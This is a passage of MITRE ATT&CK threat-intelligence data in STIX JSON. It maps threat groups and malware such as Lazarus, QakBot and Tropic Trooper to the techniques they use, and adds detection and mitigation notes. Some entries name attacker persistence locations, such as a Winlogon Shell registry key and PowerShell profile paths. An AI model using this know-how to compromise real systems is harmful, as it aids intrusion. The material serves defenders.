2021","url":"https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}],"modified":"2021-01-25T16:05:34.220Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has collected data of interest from network shares.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01202a82-56cc-4770-abf1-1a37c8717dba","type":"relationship","created":"2020-12-07T20:11:44.020Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T20:11:44.020Z","description":"[Crutch](https://attack.mitre.org/software/S0538) has used the WinRAR utility to compress and encrypt stolen files.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcc1d2e7-f41d-4a06-85c6-f00ea602ddac","type":"relationship","created":"2021-10-17T15:10:00.772Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). 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(Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n* <code>$PsHome\\Profile.ps1</code>\n* <code>$PsHome\\Microsoft.{HostProgram}_profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1</code>","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malware Archaeology PowerShell Cheat Sheet","description":"Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.","url":"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70e81cc7-9dd6-4349-b7ab-212a46591cff","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Naid June 2012","description":"Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Naid](https://attack.mitre.org/software/S0205) collects a unique identifier (UID) from a compromised host.(Citation: Symantec Naid June 2012)","relationship_type":"uses","source_ref":"malware--48523614-309e-43bf-a2b8-705c2b45d7b2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36838da3-5543-4998-b125-0a50d31d288e","type":"relationship","created":"2021-04-13T19:29:21.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}],"modified":"2021-04-19T17:52:40.800Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used mshta.exe to launch collection scripts.(Citation: Secureworks BRONZE PRESIDENT December 2019)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b069525d-194a-4bfb-a6f1-ad024a480e0b","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dbf985a6-4e02-4f1f-a323-3169e4c3c9e0","type":"relationship","created":"2019-01-30T17:48:35.639Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"modified":"2021-06-16T15:50:05.196Z","description":"[zwShell](https://attack.mitre.org/software/S0350) can launch command-line shells.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--322703cc-c8f9-4046-8a61-e165a2d11bc7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/","description":"Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.","source_name":"Unit 42 C0d0so0 Jan 2016"}],"modified":"2019-04-25T11:39:52.002Z","description":"[APT19](https://attack.mitre.org/groups/G0073) used an HTTP malware variant and a Port 22 malware variant to collect the MAC address and IP address from the victim’s machine.(Citation: Unit 42 C0d0so0 Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ea008d4-60a3-4dfa-a670-2d70e70953b8","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8278fc85-24af-4f8a-9b82-3f233f18f5a6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Backdoor.Mivast","description":"Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.","url":"http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Mivast](https://attack.mitre.org/software/S0080) communicates over port 80 for C2.(Citation: Symantec Backdoor.Mivast)","relationship_type":"uses","source_ref":"malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3","target_ref":"attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3655c6ae-38bf-4cd3-b229-b7e182fe6513","type":"relationship","created":"2021-09-28T20:13:25.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Qakbot October 2020","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."}],"modified":"2021-09-28T20:13:25.317Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use MSIExec to spawn multiple cmd.exe processes.(Citation: Crowdstrike Qakbot October 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6c9d3c4-2e47-4881-a376-e60791092fc5","type":"relationship","created":"2021-01-04T20:42:22.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Industroyer","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf ","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."}],"modified":"2021-05-04T18:01:42.482Z","description":"[Industroyer](https://attack.mitre.org/software/S0604) has a data wiper component that enumerates keys in the Registry <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services</code>.(Citation: ESET Industroyer)","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13c8251c-f380-425c-b762-2298e5802dee","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:29.109Z","description":"(Citation: Symantec Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"malware--48523614-309e-43bf-a2b8-705c2b45d7b2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4bb2d90a-468a-48af-8912-5386d2a1aa1d","type":"relationship","created":"2020-10-20T03:40:27.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-04-15T03:53:33.115Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--83d16911-5fa1-4646-9718-6af0852dcb9a","type":"relationship","created":"2019-06-28T13:52:51.446Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2019-07-16T17:12:00.556Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) can be configured to automatically collect files under a specified directory.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f38eb77-da3f-4a35-b048-32a4fa6c6fbc","type":"relationship","created":"2020-05-26T19:31:59.257Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-26T19:31:59.257Z","description":"[Naikon](https://attack.mitre.org/groups/G0019) has used the RoyalRoad exploit builder to drop a second stage loader, intel.wll, into the Word Startup folder on the compromised host.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96667f6c-e625-4696-92b5-d65d142b3f43","type":"relationship","created":"2021-10-06T02:04:09.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"hexed osx.dok analysis 2019","url":"http://www.hexed.in/2019/07/osxdok-analysis.html","description":"fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."}],"modified":"2021-10-09T19:14:07.293Z","description":"[Dok](https://attack.mitre.org/software/S0281) exfiltrates logs of its execution stored in the <code>/tmp</code> folder over FTP using the <code>curl</code> command.(Citation: hexed osx.dok analysis 2019) ","relationship_type":"uses","source_ref":"malware--f36b2598-515f-4345-84e5-5ccde253edbe","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a666dc1-d0b9-49ac-b05b-350cfca7fa61","type":"relationship","created":"2020-05-27T15:31:09.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.704Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used mofcomp.exe to establish WMI Event Subscription persistence mechanisms configured from a *.mof file.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad3bca07-c2d2-411f-9bd8-bf4e1142d9ae","type":"relationship","created":"2019-01-29T20:17:49.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/","source_name":"Unit 42 Tropic Trooper Nov 2016"},{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-29T03:23:28.048Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has created the Registry key <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell</code> and sets the value to establish persistence.(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6dc798f0-5d09-4f61-bf7b-e03b220a0c1f","type":"relationship","created":"2021-11-30T18:28:37.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-11-30T18:28:37.273Z","description":"(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"intrusion-set--99910207-1741-4da1-9b5d-537410186b51","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e62777a8-ad93-4e5a-bb69-ccc708118e5e","created":"2022-03-30T14:26:51.874Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes to windows registry keys or values that may target multi-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources.","modified":"2022-04-16T19:37:18.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4e81078-28b4-4a68-a946-458f4d122e39","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2019-04-24T19:41:25.896Z","description":"(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--afe9286d-076f-49af-90f3-11ebbe82ad40","created":"2022-04-15T12:43:15.308Z","x_mitre_version":"0.1","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Diavol](https://attack.mitre.org/software/S0659) can use the ARP table to find remote hosts to scan.(Citation: Fortinet Diavol July 2021) ","modified":"2022-04-15T12:43:15.308Z","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77d079b6-2df9-4ae9-bc7c-1ebe99708660","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Bankshot Dec 2017","description":"US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. 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Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.355Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can use [ipconfig](https://attack.mitre.org/software/S0100) and [Arp](https://attack.mitre.org/software/S0099) to collect network configuration information, including routing information and ARP tables.(Citation: Antiy CERT Ramsay April 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c952f284-e529-481f-97fb-7a6e14c25ccf","type":"relationship","created":"2017-05-31T21:33:27.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf","description":"Crowdstrike Global Intelligence Team. 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(2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-11T19:53:34.565Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can pull a timestamp from the victim's machine.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--775d3c82-5863-43fa-8dfd-2f62382d53f1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). 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(2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","source_name":"Novetta Blockbuster"},{"source_name":"Novetta Blockbuster Loaders","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"},{"url":"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.","source_name":"Novetta Blockbuster RATs"},{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/","description":"Sherstobitoff, R. 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Retrieved December 20, 2021."},{"source_name":"McAfee Lazarus Jul 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021."},{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."},{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."},{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."},{"source_name":"Qualys LolZarus","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022."}],"modified":"2022-03-23T19:01:20.793Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used multiple types of encryption and encoding for their payloads, including AES, Caracachs, RC4, XOR, Base64, and other tricks such as creating aliases in code for [Native API](https://attack.mitre.org/techniques/T1106) function names.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: TrendMicro macOS Dacls May 2020)(Citation: ESET Lazarus Jun 2020)(Citation: McAfee Lazarus Jul 2020)(Citation: McAfee Lazarus Nov 2020)(Citation: ClearSky Lazarus Aug 2020)(Citation: Lazarus APT January 2022)(Citation: Qualys 